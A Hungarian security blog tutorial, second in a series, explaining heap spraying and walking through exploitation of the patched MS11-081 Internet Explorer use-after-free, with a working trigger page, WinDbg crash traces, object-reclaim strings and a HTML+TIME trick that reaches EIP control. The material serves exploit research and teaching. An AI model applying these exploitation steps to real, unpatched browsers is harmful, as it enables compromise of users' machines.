Tweets by @buherablog
profile for buherator at IT Security Stack Exchange, Q&A for IT security professionals

A BitBetyár Blog

Túljártál a nagyokosok eszén? Küldd be a mutatványodat! (e-mail a buherator gmailkomra jöhet)

Full-Disclosure / Névjegy / Coming out


Promó

H.A.C.K.

Címkék

0day (110) adobe (87) adobe reader (21) anonymous (26) apple (60) az olvasó ír (49) blackhat (20) botnet (22) bug (200) buherablog (44) buhera sörözés (39) bukta (49) deface (38) dns (22) dos (29) esemény (82) facebook (26) firefox (64) flash (33) gondolat (31) google (59) google chrome (36) hacktivity (37) hírek (117) incidens (224) internet explorer (88) iphone (35) java (50) jog (22) kína (21) kriptográfia (68) kultúra (21) linux (24) malware (43) microsoft (142) móka (48) mozilla (23) office (26) oracle (40) os x (43) patch (197) php (20) politika (31) privacy (58) programozás (22) safari (34) sql injection (62) windows (85) xss (77) Címkefelhő

Licensz

Creative Commons Licenc

Use-after-free - Második rész

2013.02.24. 19:36 | buherator | 1 komment

Az előző részben ott hagytuk abba, hogy egy use-after free sérülékenység triggerelése után képesek voltunk kontrollálni egy dinamikusan kötött metódushívás első pointerét. A kérdés ezek után logikusan az, hogy hova is érdemes mutatni azzal a mutatóval. 

Itt két dolgog kell, hogy kapásból az ember eszébe jusson: az egyik az ASLR nélküli modulok, a másik a heap spray. Ez a rész eredetileg az utóbbiról szólt volna, de az első poszttal együtt a Corelan csapat kijött egy Heap Spray bibliával, amihez azt hiszem, keveset tudnék hozzátenni.

Az elmúlt hetekben sokat gondolkoztam, hogy hogyan lehetne folytatni a sorozatot a gondolatmenet megszakítása nélkül, de a már jól dokumentált technikákat nem az unalomig ismételve. Végül arra jutottam, hogy az lesz a legjobb, ha a legfontosabb koncepciók rövid bemutatása után egy már ismert exploitot fogok bemutatni, illetve egy kicsit átírni. Ha valamelyik témával kapcsolatban bővebb kifejtésre vágytok, jelezzétek kommentben, és beiktatunk bónuszepizódot :)

Röviden a Heap Spray-ről

Ahogy már említettem, akit komolyan érdekel a téma, az olvassa el a Corelan leírását, itt csak a leglényegesebb elemekről lesz szó. 

A heap spraying egy viszonylag régi technika, melyet legalább 2001-óta használnak. A technika nem kötődik szorosan a usa-after-free hibákhoz, vagy a böngésző exploitáláshoz, a módszer elméletileg tetszőleges, kevéssé korlátozott heap allokációt lehetővé tevő alkalmazásban használható kiszámítható (helyű illetve tartalmú) memóriafoglalások kivitelezésére - ez pl. egy stack overflow esetében is segíthet a shellkód megtalálásában.

Az alapötlet megértéséhez először is látnunk kell, hogy a heap foglalás még mindig determinisztikus, másrészt vissza kell gondolnunk a memóriatöredezettség problémájára: a foglalási algoritmus amellett, hogy előnyben részesíti a foglalással egyező méretű szabad helyeket allokációkor, az elégséges méretű szabad memóriadarabok kiosztása után nyilvánvalóan egymás után (hézag nélkül) következő memóriablokkokat oszt szívesen. 

Aki játszott egy kicsit az előző résszel közzétett kódokkal, az ezen kívül láthatta, hogy nagy számú allokáció esetén folyamatosan egyre magasabb címeket töltenek meg:

99934. item allocated to: 00A30B28
99935. item allocated to: 00A30B68
99936. item allocated to: 00A30BA8
99937. item allocated to: 00A30BE8
99938. item allocated to: 00A30C28
99939. item allocated to: 00A30C68
99940. item allocated to: 00A30CA8
99941. item allocated to: 00A30CE8
99942. item allocated to: 00A30D28
99943. item allocated to: 00A30D68
99944. item allocated to: 00A30DA8
99945. item allocated to: 00A30DE8
99946. item allocated to: 00A30E28
99947. item allocated to: 00A30E68
99948. item allocated to: 00A30EA8
99949. item allocated to: 00A30EE8
99950. item allocated to: 00A30F28
99951. item allocated to: 00A30F68
99952. item allocated to: 00A30FA8
99953. item allocated to: 00A30FE8
99954. item allocated to: 00A31028
99955. item allocated to: 00A31068
99956. item allocated to: 00A310A8
99957. item allocated to: 00A310E8

A heap spraying alapgondolata az, hogy ha elég foglalást végzünk, akkor egy idő után biztosan eljutunk egy előre meghatározott (fix) címig, ahol a mi adatunk fog szerepelni. A legegyszerűbb esetben ez után megtehetjük, hogy (valamilyen sérülékenység kihasználásával) a vezérlést erre a címre ugratjuk és örülünk, a gyakorlat azonban ennél egy fokkal azért bonyolultabb.

Bár a heap foglalás determinisztikus, a kezdeti memóriaállapotot számos tényező befolyásolhatja, így bár kellő mennyiségű allokáció után kb. biztosak lehetünk benne, hogy egy adott címen a mi adatunk van, azt nem fogjuk tudni megmondani, hogy mekkora eltolással kerültek oda a byte-jaink/utasításaink. Kézenfekvő megoldás a problémára egy óriás NOP-csúszda használata: ennek bármelyik részére is kerül a vezérlés az utasításszámláló végül mindig a csúszda végére pakolt shellkódra fog ugrani. 

Természetesen a csúszdába érkezést és az abban történő bennmaradást is komolyan befolyásolja, hogy a lefoglalt memóriaterületek közötti "kiaknázatlan" terület minél kisebb legyen: a tapsztalat azt mutatja, hogy a legjobban akkor járunk, ha viszonylag nagy méretű foglalásokat végzünk melyek a rendszer által preferált foglalásméretekhez közeliek, vagyis minden felhasználói kérés valóban új memóriafoglalást eredményez (és nem egy már lefoglalt terület üres byte-jaira pakol), az újonnan foglalt heap területeket pedig gyakorlatilag teljes egészében kitöltik a felhasználói adatok.  

Heap Spray vs. Internet Explorer

Internet Explorer a legkézenfekvőbb megoldás a heap spray kivitelezésére a JavaScript használata, ami teljesértékű szkriptnyelv lévén nagyfokú kontrollt ad a felhasználó kezébe a memórakezelésre vonatkozóan (is). Természetesen léteznek más módszerek is (pl. Flash, képek, HTML5 stb.), valamint az egyes böngészők megmóriakezelője általában eltér, a példa kedvéért most maradjunk az IE+JS kombónál. 

A folyamat alapértelmezett heap-jén történő allokációra a legeszerűbb megoldás a stringek használata, fontos azonban kiemelni, hogy a parser a string konstansokat külön kezeli, nekünk csak a dinamikus stringek lesznek jók: ilyeneket tipikusan konkatenációval, vagy mondjuk a substr() metódussal tudunk előállítani. Esetünkben a stringek BSTR formátumban (4 byte prefix+2 NULL byte lezáró), unicode karakterláncként kerülnek tárolásra (karakterenként 2 byte), vagyis a memóriában egy karakterlánc karakterszám*2+6 byte-ot foglal (és a foglalások mérete 16 byte többszörösére van felkerekítve). 

Ha végignézitek a mostanában használatos böngésző exploitokat láthatjátok, hogy létezik néhány népszerű, jól újrahasznosítható heap spray kód, melyek néhány jól kikísérletezett paraméter alapján megtöltenek néhány 100MB memóriát speciális stringekkel, és már jöhet is a trigger. A speciális string általában 0x0c0c0c0c szavakként jelenik meg a memóriában, és a vezérlés átadása is erre a címre történik. 

Ennek oka egyrészt az, hogy a 0c0c0c0c cím viszonylag magas, tehát jó eséllyel meg tudjuk kaparintani, másrészt, hogy a 0x0c egy OR utasítást reprezentál x86-on, ami a mi szempontunkból ekvivalens egy NOP-pal. Harmadrészt, ahogy azt az előző részben is láttuk, sok esetben a vezérlés valamilyen (többszörös) indirekción keresztül szerezhető meg: Mivel a 0c0c0c0c cím önmagára, az utána következő szavak pedig szintén a 0c0c0c0c címre mutatnak (lásd: vftable), az utolsó pointer végül biztosan a 0c0c0c0c címre fog mutatni (ami már egyben egy NOP csúszda része is ugyebár). Éljen a Neumann architektúra!

Megjegyzendő ugyankkor, hogy hasonló tulajdonságokkal nem csak ez a cím/byte-sorozat bírhat, illetve a többszörös indirekció elméletileg (bár igen alacsony eséllyel) egy statikus helyre betöltött modulon keresztül is hasznosan feloldható (lásd a mona.py find -level utasítását). Ilyen trükkökre például akkor lehet szükség, ha a 0c0c0c0c címet gonoszul befoglalta előlünk az EMET. 

HeapLib

Ha a heap spraying graffiti, akkor a HeapLib street-art. Alexander Sotirov JavaScript könyvtára magas szintű API-t ad a böngészőből kezdeményezett heap (de)allokációk kontrollálásához. Az egyszerű BSTR számolgatások mellett a könyvtár a nem dokumentált CollectGarbage() hívás segítségével lehetőséget ad adott heap területek felszabadítására, megoldja a különböző cache mechanizmusokból (OLEAUT32, Lookaside) adódó problémákat, és lehetőséget biztosít a heap egyszerű töredezettségmentesítésére is (így az aktuális heap állapotot "nullázhatjuk" még megbízhatóbbá varázsolva az exploitunkat).

A könyvtár IE8-ig minden böngésző-változaton működik, és a Metasploit keretrendszer IE exploitjai is sok esetben ezt használják (lásd a Exploit::Remote::HttpServer::HTML modul heaplib() metódusát) - hozzátenném, mindenféle obfuszkáció nélkül...

Use-After-Free 

Ezután a hosszabb kitérő után térjünk vissza az eredeti témánkhoz! A következőkben az MS11-081-el javított OptionElement use-after-free exploitról lesz szó. A hiba illetve a kihasználás módja nagyon hasonló az Exodus Intelligence által dokumentált CButton sérülékenységhez - a poszt megírásához ez az írás is sok segítséget nyújtott, remélem, hogy ez a kis nyomozati anyag hasznos kiegészítésül fog szolgálni az ő kiváló munkájukhoz.

Hogy ne segítsünk magunknak túl sokat, a Metasploit által generált exploitot lebutítottam olyan szintre, hogy éppen csak triggerelni tudjuk a bugot (btw. elég sok felesleges szemét van ezekben a sploitokban, kéne tolni pár pull requestet...):

<!DOCTYPE html>
<html>
<head>
<script>
function ivan()
{
var formobj, selobj, optobj;
selobj = document.getElementById("select1");
formobj = selobj.form;
for(var i=0;i<5;i++) {
optobj = document.createElement('option');
optobj.text = "test";
selobj.add(optobj);
}
selobj.innerText = "foo";
 CollectGarbage();
formobj.reset();
}
</script>
</head>
<body onload='ivan()'>
<form method="post">
<select id="select1">
</select>
</form>
</body>
</html>

Röviden annyit látunk, hogy egy SELECT elemet feltöltünk opciókkal, majd az így keletkezett struktúrát szépen kiütjük a SELECT elem tartalmának egy közönséges stringre állításával. Ez után megkérjük a szemétgyűjtőt, hogy szabadítsa fel a már nem használt objektumokat, végül pedig reseteljük a SELECT-ünket tartalmazó űrlapot. Mindezt a rendszer a következő kivétellel jutalmazza:

(730.5c4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=6b5800a2 ebx=00000000 ecx=03313058 edx=00000001 esi=00000005 edi=03316058
eip=008b4a5b esp=0253c0cc ebp=0253c0e0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
008b4a5b ?? ???

A WinDbg mellé jár néhány hasznos eszköz, ezek közül a GFlags.exe-vel engedélyezhetjük a heap futásidejű monitorozását:

gflags /i iexplore.exe +hpa
Current Registry Settings for iexplore.exe executable are: 02000000
hpa - Enable page heap

A trigger kódot újra futtatva ezek után láthatjuk, hogy mikor hivatkozik először a folyamat nem allokált heap területre:

(4f4.584): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=097f8fe8 ebx=00000000 ecx=0a7defc8 edx=00000001 esi=00000005 edi=09374f78
eip=6b62e820 esp=0474be50 ebp=0474be60 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
mshtml!COptionElement::IsSelectable:
6b62e820 f6413204 test byte ptr [ecx+32h],4 ds:0023:0a7deffa=??
0:005> uf mshtml!COptionElement::IsSelectable
mshtml!COptionElement::IsSelectable+0x16:
6b5919a6 33c0 xor eax,eax
6b5919a8 c3 ret
mshtml!COptionElement::IsSelectable:
6b62e820 f6413204 test byte ptr [ecx+32h],4
6b62e824 0f857c31f6ff jne mshtml!COptionElement::IsSelectable+0x16 (6b5919a6)
mshtml!COptionElement::IsSelectable+0x6:
6b62e82a 8b01 mov eax,dword ptr [ecx]
6b62e82c ff90f8010000 call dword ptr [eax+1F8h]
6b62e832 85c0 test eax,eax
6b62e834 0f846c31f6ff je mshtml!COptionElement::IsSelectable+0x16 (6b5919a6)
mshtml!COptionElement::IsSelectable+0x12:
6b62e83a 33c0 xor eax,eax
6b62e83c 40 inc eax
6b62e83d c3 ret

Az ecx által mutatott cím tehát már felszabadult a hivatkozás pillanatában, ez a cím pedig később egy indirekt függvényhíváshoz adja meg egy pointertábla címét. A rögzített heap műveletek megmutatják azt is, hogy felszabadított területen milyen objektum létezhetett:

 0:005> !heap -p -a ecx
address 0a7defc8 found in
_DPH_HEAP_ROOT @ 1b1000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
a8005e4: a7de000 2000
70a590b2 verifier!AVrfDebugPageHeapFree+0x000000c2
77b05674 ntdll!RtlDebugFreeHeap+0x0000002f
77ac7aca ntdll!RtlpFreeHeap+0x0000005d
77a92d68 ntdll!RtlFreeHeap+0x00000142
75f3f1ac kernel32!HeapFree+0x00000014
6b6aa68b mshtml!COptionElement::`scalar deleting destructor'+0x00000035
6b747dd0 mshtml!CBase::SubRelease+0x00000022
6b73c482 mshtml!CElement::PrivateRelease+0x0000002a

A COptionElement típusú objektumok létrehozására használt COptionElement::CreateElement metódust IDA-ban megkukkantva egy 0x38 méretű foglalást látunk a heapről, ami arra utal, hogy éppen ekkora saját objektumra lesz szükségünk a szabaddá vált hely elfoglalásához.

coptionelement_createelement.png

Ha JS stringekkel akarjuk megoldani a problémát, akkor (0x38-6)/2=25 karakteres karakterláncot allokálva férünk be éppen erre a helyre. Ezt a stringet érdemes valamilyen létező objektumhoz kötni, hogy a parser/GC ne optimalizálja ki a foglalásunkat:

CollectGarbage();
formobj.className = "s2s2s2s2s2s2s2s2s2s2s2s2X";

Ezzel a megoldással remekül sikerül felülcsapni a hivatkozott memóriaterületet:

(6b0.b94): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000014a ebx=00000000 ecx=00447130 edx=00000001 esi=00000005 edi=004a6af8
eip=6845e82c esp=0255be30 ebp=0255be40 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!COptionElement::IsSelectable+0x8:
6845e82c ff90f8010000 call dword ptr [eax+1F8h] ds:0023:00000342=????????
0:005> dd ecx
00447130 0000014a 00320073 00320073 00320073
00447140 00320073 00320073 00320073 00320073
00447150 00320073 00320073 00320073 00320073
00447160 00320073 00000058 5b829cdb 8c000000
00447170 00000005 e8b0e71c 00000013 00720065
00447180 006f0072 00430072 0064006f 00410065
00447190 0064006e 00690044 00690076 00650064
004471a0 00000072 00002b85 5b829cc3 8c000000

Apró bökkenő viszont, hogy az ecx regiszterbe ilyenkor a string header értéke kerül, amit mi kevéssé kontrollálunk (foglalhatnánk egy bazi nagy stringet, de az minimum új heap blokkot kapna). Bár az elméletnek némileg ellentmond, de egy gyors kísérlet igazolja, hogy a foglaláshoz újabb byte-okat adva a string eleje az alacsonyabb címek felé tolódik (azt gyanítom, hogy a 16 byte-ra kerekítés lehet a dolog mögött). Így tehát még két karaktert a  stringünkhöz csapva kontrolláljuk az eax-ban szereplő értéket, így a későbbi call utasítás argumentumát is:

(97c.cb0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00320073 ebx=00000000 ecx=02b557a0 edx=00000001 esi=00000005 edi=003247b8
eip=00000100 esp=0254bfa4 ebp=0254bfb8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
00000100 ?? ???
0:005> dd ecx
02b557a0 00320073 00320073 00320073 00320073
02b557b0 00320073 00320073 00320073 00320073
02b557c0 00320073 00320073 00320073 00320073
02b557d0 00320073 00000058 59b2f505 8c000000
02b557e0 00720042 0077006f 00650073 00200072
02b557f0 00700041 006c0070 00630069 00740061
02b55800 006f0069 0020006e 00740053 00740061
02b55810 00000065 00000000 59b2f4fd 80000000

[...]
mshtml!COptionElement::IsSelectable+0x6:
6b62e82a 8b01 mov eax,dword ptr [ecx]
6b62e82c ff90f8010000 call dword ptr [eax+1F8h]

Természetesen itt felmerül a kérdés, hogy pontosan hol találok a memóriában olyan címet, ami a shellkódomra mutat (illetve: hol a shellkódom?!), amire a válasz lehet az előző fejezetekben már említett heap spray, egy jó ASLR-mentes modul (a legújabb hírek szerint a Skype protokollkezelőjét megvalósító DLL ilyen), vagy az Exodus Intelligence által szilveszterkor megszellőztetett módszer.

HTML+TIME

A Synchronized Multimedia Integration Language IE8-ig van támogatva - mára valószínűleg rájüttek, hogy a böngészőhackereken kívül nem sokan használják. A történet középpontjában a t:ANIMATECOLOR eleme áll, ami elvileg egy másik elem színét tudná az idő függvényében változtatni (gyönyörű honlapokat lehetne ezzel összerakni!). A színek meghatározásához az elem a VALUES attributumát használja, ami pontosvesszővel elválasztva tartalmazza a színek definicióját. A poén az egészben az, hogy az attribútum beállításakor az átadott karakterláncot feldarabolják a pontosvesszők mentén, az így létrejött string-darabokra pedig egy heapre lerakott pointer tömbbel hivatkoznak. 

A feladat tehát az, hogy egy olyan pointer tömböt hozzunk létre, melynek mérete éppen passzol a felszabadított objektuméhoz, valamint az első pointer által mutatott értéket a hívott vftable offsetnek megfelelően állítsuk be.

Egyik feladat sem nehéz: a tömb 4 byte-os pointereket tartalmaz, így a 0x38 méretű foglaláshoz összesen 0x38/4=0xE=14 tömb elemre lesz szükségünk, a vftable hívás pedig az előbb látottak alapján a 0x1F8 offsetre hivatkozik:

 var animvalues="\u4141\u4141";
while(animvalues.length < 0x1f8/2) {
animvalues += animvalues;
}
for(i = 0; i < 13; i++) {
animvalues += ";cyan";
}

Debuggerben futtatva nagy az öröm és a boldogság:

0:014> g
(4a8.830): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02c81f08 ebx=00000000 ecx=004e7870 edx=00000001 esi=00000005 edi=02d334a0
eip=41414141 esp=0276bda4 ebp=0276bdb8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
41414141 ?? ???
0:005> dd poi(ecx)+0x1f8
02c82100 41414141 41414141 00000000 00000000
02c82110 00000364 fe5dc370 fe5dc370 00000000
02c82120 fe9ddae0 00000000 460f16e9 a00001ea
02c82130 7ffdb210 02c81890 00000000 011aa698
02c82140 00000000 00000000 00000000 00000000
02c82150 00000000 00000000 00000000 00000000
02c82160 00000000 00000000 00000000 00000000
02c82170 00000000 00000000 00000000 00000000

A tényleges shellkód futtatása természetesen DEP/ASLR függvényében még mindig problémákba ütközhet, de az EIP vezérlésére egy megbízható és elegáns módszert kaptunk.

Kódok Gitoriouson, észrevételeket illetve folytatási javaslatokat szívesen fogadok kommentben, WinDbg segítség itt van.

Címkék: tutorial use-after-free heap spray ms11-081

Kommentek:

A hozzászólások a vonatkozó jogszabályok  értelmében felhasználói tartalomnak minősülnek, értük a szolgáltatás technikai  üzemeltetője semmilyen felelősséget nem vállal, azokat nem ellenőrzi. Kifogás esetén forduljon a blog szerkesztőjéhez. Részletek a  Felhasználási feltételekben és az adatvédelmi tájékoztatóban.